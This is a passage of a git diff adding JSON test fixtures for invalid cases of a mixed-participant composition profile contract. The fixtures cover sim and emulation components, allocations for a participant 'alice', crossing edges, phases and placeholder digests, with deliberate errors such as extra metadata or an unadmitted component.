"sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "simultaneous-mixed", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": { + "edge.sim-to-emu": { + "audience_scope_ref": "audience:alice", + "authority_ref": "authority:edge", + "controller_ref": "controller:operator", + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode:1", + "participant_address": "participants.alice", + "subject_digest": null, + "subject_kind": "participant-observation", + "subject_ref": "observation:status", + "subject_revision": "7" + }, + "disclosure_authority_ref": "authority:disclosure", + "edge_id": "edge.sim-to-emu", + "evidence_bindings": [ + { + "evidence_ref": "evidence:edge-realization", + "obligation_ref": "obligation:edge-realization" + } + ], + "failure_behavior": { + "disposition": "fail-profile", + "failure_ref": "failure:edge" + }, + "mapping_loss": { + "affected_ref": "observation:status", + "basis_ref": "mapping:basis", + "kind": "semantics_approximated", + "limitation_ref": "limitation:mapping" + }, + "native_ownership_ref": "native-ownership:sim", + "phase_ids": [ + "phase.main" + ], + "policy": { + "decision_cut_ref": "cut:7", + "effective_order": 7, + "policy_decision_ref": "decision:7", + "policy_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "policy_id": "policy:crossing", + "policy_revision": "3", + "valid_from_order": 1, + "valid_until_order": 9 + }, + "routing_ref": "route:portable", + "source_component_id": "sim", + "target_component_id": "emu", + "time_binding": { + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "temporal_coupling": "bounded-asynchronous", + "time_model_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "time_model_ref": "time-model:composition" + } + } + }, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.main", + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim", + "emu" + ], + "active_edge_ids": [ + "edge.sim-to-emu" + ], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:bde20c71c499555f13a57a7615de4a2c84a859fc72e08719b74f40e21629b0d9", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/open-metadata.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/open-metadata.json new file mode 100644 index 000000000..805adacc9 --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/open-metadata.json @@ -0,0 +1,282 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "simultaneous-mixed", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": { + "edge.sim-to-emu": { + "audience_scope_ref": "audience:alice", + "authority_ref": "authority:edge", + "controller_ref": "controller:operator", + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode:1", + "participant_address": "participants.alice", + "subject_digest": null, + "subject_kind": "participant-observation", + "subject_ref": "observation:status", + "subject_revision": "7" + }, + "disclosure_authority_ref": "authority:disclosure", + "edge_id": "edge.sim-to-emu", + "evidence_bindings": [ + { + "evidence_ref": "evidence:edge-realization", + "obligation_ref": "obligation:edge-realization" + } + ], + "failure_behavior": { + "disposition": "fail-profile", + "failure_ref": "failure:edge" + }, + "mapping_loss": { + "affected_ref": "observation:status", + "basis_ref": "mapping:basis", + "kind": "semantics_approximated", + "limitation_ref": "limitation:mapping" + }, + "native_ownership_ref": "native-ownership:sim", + "phase_ids": [ + "phase.main" + ], + "policy": { + "decision_cut_ref": "cut:7", + "effective_order": 7, + "policy_decision_ref": "decision:7", + "policy_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "policy_id": "policy:crossing", + "policy_revision": "3", + "valid_from_order": 1, + "valid_until_order": 9 + }, + "routing_ref": "route:portable", + "source_component_id": "sim", + "target_component_id": "emu", + "time_binding": { + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "temporal_coupling": "bounded-asynchronous", + "time_model_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "time_model_ref": "time-model:composition" + } + } + }, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.main", + "metadata": { + "hla_handle": "17" + }, + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim", + "emu" + ], + "active_edge_ids": [ + "edge.sim-to-emu" + ], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:b3787beadcc471d25061a1c3204cbf9aea4f763de726444e2d587b3d9596b1ef", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/simultaneous-single-form.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/simultaneous-single-form.json new file mode 100644 index 000000000..4aad3113e --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/simultaneous-single-form.json @@ -0,0 +1,279 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "simultaneous-mixed", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": { + "edge.sim-to-emu": { + "audience_scope_ref": "audience:alice", + "authority_ref": "authority:edge", + "controller_ref": "controller:operator", + "crossing_scope_address": "crossings.alice.status", + "crossing_subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode:1", + "participant_address": "participants.alice", + "subject_digest": null, + "subject_kind": "participant-observation", + "subject_ref": "observation:status", + "subject_revision": "7" + }, + "disclosure_authority_ref": "authority:disclosure", + "edge_id": "edge.sim-to-emu", + "evidence_bindings": [ + { + "evidence_ref": "evidence:edge-realization", + "obligation_ref": "obligation:edge-realization" + } + ], + "failure_behavior": { + "disposition": "fail-profile", + "failure_ref": "failure:edge" + }, + "mapping_loss": { + "affected_ref": "observation:status", + "basis_ref": "mapping:basis", + "kind": "semantics_approximated", + "limitation_ref": "limitation:mapping" + }, + "native_ownership_ref": "native-ownership:sim", + "phase_ids": [ + "phase.main" + ], + "policy": { + "decision_cut_ref": "cut:7", + "effective_order": 7, + "policy_decision_ref": "decision:7", + "policy_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "policy_id": "policy:crossing", + "policy_revision": "3", + "valid_from_order": 1, + "valid_until_order": 9 + }, + "routing_ref": "route:portable", + "source_component_id": "sim", + "target_component_id": "emu", + "time_binding": { + "mapping_address": "time.mappings.sim-to-emu", + "ordering_basis": "partial_order", + "source_clock_address": "time.clocks.sim", + "target_clock_address": "time.clocks.emu", + "temporal_coupling": "bounded-asynchronous", + "time_model_digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "time_model_ref": "time-model:composition" + } + } + }, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.main", + "nested_profile_refs": {}, + "phase_order": [ + "phase.main" + ], + "phases": { + "phase.main": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.scope", + "allocation.action", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "sim", + "emu" + ], + "active_edge_ids": [ + "edge.sim-to-emu" + ], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:phase-realization" + } + ], + "phase_id": "phase.main" + } + }, + "profile_digest": "sha256:67feaacb36f64745fbd50a8013d3db93f83e24122f86c33699feffe9b383b86a", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": {}, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/staged-unadmitted-member.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/staged-unadmitted-member.json new file mode 100644 index 000000000..d3f49336e --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/staged-unadmitted-member.json @@ -0,0 +1,249 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.sim" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.emu" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.emu" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.sim" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.emu" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "envelope_id": "envelope:sim", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "simulation" + } + }, + "composition_mode": "staged", + "contract_id": "mixed-participant-composition-profile-v1", + "control_loop_posture": "closed-loop", + "edges": {}, + "federation_membership": "pre-admitted-staged", + "initial_phase_id": "phase.sim", + "nested_profile_refs": {}, + "phase_order": [ + "phase.sim", + "phase.emu" + ], + "phases": { + "phase.emu": { + "active_allocation_ids": [ + "allocation.scope", + "allocation.observation", + "allocation.crossing" + ], + "active_component_ids": [ + "emu", + "late" + ], + "active_edge_ids": [], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:emu" + } + ], + "phase_id": "phase.emu" + }, + "phase.sim": { + "active_allocation_ids": [ + "allocation.participant", + "allocation.action" + ], + "active_component_ids": [ + "sim" + ], + "active_edge_ids": [], + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:sim" + } + ], + "phase_id": "phase.sim" + } + }, + "profile_digest": "sha256:cd48bab51eaca1b1e7c9f264d79b500550c5e6b09a17c01ef8c2e8df2c773e77", + "profile_id": "profile:mixed", + "profile_revision": "mixed-cross-backend-participant-control-v1@rev1", + "scenario_snapshot_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "scenario:authored", + "ref_kind": "scenario-snapshot", + "ref_path": null, + "ref_version": "1" + }, + "schema_version": "mixed-participant-composition-profile/v1", + "semantic_revision": "sem-234/rev1", + "transitions": { + "transition.sim-to-emu": { + "evaluator_ref": "evaluator:admitted", + "evidence_bindings": [ + { + "evidence_ref": "evidence:phase-realization", + "obligation_ref": "obligation:transition" + } + ], + "failure_disposition": "fail-profile", + "progress_bound": 1, + "source_phase_id": "phase.sim", + "target_phase_id": "phase.emu", + "transition_id": "transition.sim-to-emu", + "trigger_ref": "trigger:advance" + } + }, + "world_assumption": "bounded-open-world" +} diff --git a/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/unknown-revision.json b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/unknown-revision.json new file mode 100644 index 000000000..2efe7767e --- /dev/null +++ b/contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/unknown-revision.json @@ -0,0 +1,279 @@ +{ + "allocations": { + "allocation.action": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.action", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "actions.alice.inspect", + "target_kind": "action-family" + }, + "allocation.crossing": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.crossing", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "crossings.alice.status", + "target_kind": "crossing" + }, + "allocation.observation": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.observation", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "observations.target.status", + "target_kind": "observation-source" + }, + "allocation.participant": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.participant", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "sim", + "routing_ref": "route:portable", + "target_address": "participants.alice", + "target_kind": "participant" + }, + "allocation.scope": { + "action_authority_ref": "authority:action", + "allocation_id": "allocation.scope", + "controller_ref": "controller:operator", + "feature_requirements": [ + { + "allowed_downgrade_level": null, + "downgrade_policy_ref": null, + "downgrade_provenance_ref": null, + "feature": "participant_ingress_admission", + "required_level": "exact" + } + ], + "participant_identity_ref": "participant:alice", + "phase_ids": [ + "phase.main" + ], + "provider_component_id": "emu", + "routing_ref": "route:portable", + "target_address": "nodes.target", + "target_kind": "controlled-scope" + } + }, + "components": { + "emu": { + "apparatus_identity_ref": "apparatus:emu", + "component_id": "emu", + "manifest_ref": { + "ref_digest": "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ref_id": "emu", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "emu", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:emu", + "realization_envelope": { + "configuration_digest": "sha256:ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", + "contract_id": "realization-envelope-v1", + "digest": "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + "envelope_id": "envelope:emu", + "schema_version": "realization-envelope/v1" + }, + "realization_form": "emulation-or-operation" + }, + "sim": { + "apparatus_identity_ref": "apparatus:sim", + "component_id": "sim", + "manifest_ref": { + "ref_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ref_id": "sim", + "ref_kind": "manifest", + "ref_path": null, + "ref_version": "backend-manifest/v2", + "subject_ref": { + "ref_digest": null, + "ref_id": "sim", + "ref_kind": "backend", + "ref_path": null, + "ref_version": "1" + } + }, + "native_ownership_ref": "native-ownership:sim", + "realization_envelope": { + "configuration_digest": 